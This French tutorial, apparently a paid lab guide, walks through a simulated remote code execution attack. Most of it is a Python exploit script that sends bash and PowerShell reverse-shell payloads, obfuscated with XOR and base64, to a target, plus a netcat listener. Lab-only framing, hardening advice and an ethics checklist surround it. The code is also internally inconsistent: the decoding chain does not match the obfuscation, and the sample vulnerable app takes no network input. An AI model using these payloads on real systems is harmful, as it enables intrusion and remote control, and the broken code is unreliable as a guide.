1️⃣ Introduction à l’Exploit RCE 💾

Ce tutoriel premium vous guide pour simuler un exploit de Remote Code Execution (RCE) en lab avec un script Python automatisé. Vous scannerez une cible vulnérable, déployez des payloads multi-OS (Linux/Windows) avec obfuscation dynamique, établissez un reverse shell, et monitorez via un dashboard WebSocket. Des mesures de sécurisation sont incluses. Compatible avec Kali Linux 2024.4, ce tuto est 100% éthique et conçu pour un lab isolé.

2️⃣ Setup du Lab Pro 🔧

Configurez un lab isolé avec une topologie réseau pour tester l’exploit RCE en sécurité.

+-----------------------------------------+
| [Réseau Lab Isolé]                     |
|   |                                    |
|   v                                    |
| [Kali Linux: 172.16.0.101]             |
|   | (Attacker)                         |
|   v                                    |
| [Docker Target: 172.16.0.102]          |
+-----------------------------------------+
                

Variables d’Environnement

# Définir dans ~/.bashrc sur Kali
export KALI_IP=172.16.0.101
export TARGET_IP=172.16.0.102
export TARGET_PORT=8080
export LHOST=172.16.0.101
export LPORT=4444
                

Matériel et Logiciels

• PC: VirtualBox, VM Kali Linux 2024.4.
• Réseau: Réseau interne isolé (VirtualBox NAT Network).
• Logiciels: Python 3.12, Docker, Flask, flask-socketio, requests, netcat, openjdk-11-jre.

Configuration

1. Kali Linux VM:

   # Configurer IP
   sudo ifconfig eth0 $KALI_IP netmask 255.255.255.0 up
   sudo apt update && sudo apt install python3 python3-pip netcat docker.io
   pip3 install flask flask-socketio requests
                           

2. Cible Docker:

   Créez une application vulnérable simulant une faille RCE.

   # Dockerfile
   FROM openjdk:11-jre-slim
   COPY vuln-app.jar /app.jar
   CMD ["java", "-jar", "/app.jar"]
                           

   # Simuler une vuln RCE (ex. Log4Shell-like)
   # vuln-app.jar (exemple simplifié)
   public class VulnApp {
       public static void main(String[] args) {
           // Simule une vuln RCE via une entrée non validée
           Runtime.getRuntime().exec(System.getenv("CMD"));
       }
   }
                           

   # Construire et lancer
   docker build -t vuln-app .
   docker run -d -p 8080:8080 --name=target -e CMD="none" --network host vuln-app
                           

3️⃣ Script Python Premium 🐍

Ce script automatise l’exploit RCE avec payloads multi-OS, obfuscation dynamique, et monitoring WebSocket. Les abonnés reçoivent la version complète.

# exploit_rce.py
import requests
import socket
import subprocess
import argparse
import base64
from flask import Flask, render_template
from flask_socketio import SocketIO

app = Flask(__name__)
socketio = SocketIO(app)

def detect_os(target, port):
    try:
        r = requests.get(f"http://{target}:{port}/info", timeout=5)
        if "Windows" in r.text:
            return "windows"
        elif "Linux" in r.text:
            return "linux"
    except:
        return "linux"  # Default
    return "linux"

def generate_payload(os_type, lhost, lport):
    if os_type == "linux":
        return f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    elif os_type == "windows":
        return f"powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""
    return None

def obfuscate(payload):
    key = 0x42
    obfuscated = [chr(ord(c) ^ key) for c in payload]
    return base64.b64encode(''.join(obfuscated).encode()).decode()

def exploit(target, port, lhost, lport):
    socketio.emit('log', {'data': f'Exploiting {target}:{port}'})
    os_type = detect_os(target, port)
    socketio.emit('log', {'data': f'Detected OS: {os_type}'})
    payload = generate_payload(os_type, lhost, lport)
    if not payload:
        socketio.emit('log', {'data': 'Payload generation failed'})
        return
    obfuscated = obfuscate(payload)
    # Non-abonnés: [PAYLOAD MASQUÉ]
    data = {"cmd": f"echo {obfuscated} | base64 -d | xxd -r -p | bash"}
    try:
        requests.post(f"http://{target}:{port}/cmd", data=data)
        socketio.emit('log', {'data': 'Payload sent!'})
    except:
        socketio.emit('log', {'data': 'Exploit failed'})

@app.route('/')
def dashboard():
    return render_template('dashboard.html')

@socketio.on('connect')
def handle_connect():
    socketio.emit('log', {'data': 'New client connected'})

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--target', required=True)
    parser.add_argument('--port', default=8080, type=int)
    parser.add_argument('--lhost', required=True)
    parser.add_argument('--lport', default=4444, type=int)
    args = parser.parse_args()
    
    socketio.emit('log', {'data': f'Scanning {args.target}:{args.port}'})
    if detect_os(args.target, args.port):
        exploit(args.target, args.port, args.lhost, args.lport)
    socketio.run(app, host='0.0.0.0', port=80)
                

# dashboard.html



    
    
    


    
RCE 2025 : Apache Control
    
Status: Scanning...
    
Sessions: 0
    

    


                

# Lancer
sudo python3 exploit_rce.py --target=$TARGET_IP --port=8080 --lhost=$LHOST --lport=$LPORT
                

Reverse Shell

# Écouter
nc -lvp $LPORT
                

4️⃣ Démo 🚀

1. Lancez le Docker cible.

2. Exécutez exploit_rce.py.

3. Accédez à http://$KALI_IP:80 pour le dashboard.

4. Recevez un reverse shell dans Netcat.

5. Observez les logs en temps réel via WebSocket.

5️⃣ Sécurisation 🛡️

Bonnes Pratiques

• Validation: Valider les entrées utilisateurs.
• WAF: Configurer un pare-feu applicatif.
• Patchs: Mettre à jour les logiciels.
• Isolation: Utiliser des conteneurs sécurisés.
• Monitoring: Détecter les payloads obfuscés.

6️⃣ Rapport Pro 📊

## Rapport de Test RCE
- **Cible**: $TARGET_IP
- **Durée**: 1h
- **Résultat**: Reverse shell établi
- **OS Détecté**: [Linux/Windows]
- **Recommandations**:
  - Valider les entrées utilisateurs
  - Déployer un WAF
  - Mettre à jour Java
  - Isoler les services
  - Monitorer les payloads
                

7️⃣ Checklist Éthique ⚖️

• Lab Only: Tests en environnement isolé.
• Légalité: Pas d’exploit sans autorisation écrite.
• Consentement: Autorisation pour toute cible.
• Logs: Conserver les logs pour audit.

# Modèle autorisation
Je, [Nom], autorise [Ton Nom] à tester un exploit RCE sur [Cible] en lab. Date: [Date]. Signature: [Signature].
                

8️⃣ FAQ Apache ❓

Q: Puis-je tester sur une prod ?
A: Non, lab-only avec autorisation écrite.

Q: Mon exploit échoue ?
A: Vérifiez la vulnérabilité, le réseau, et l’OS détecté.

Q: Comment sécuriser ma prod ?
A: WAF, patchs, validation des entrées, et monitoring.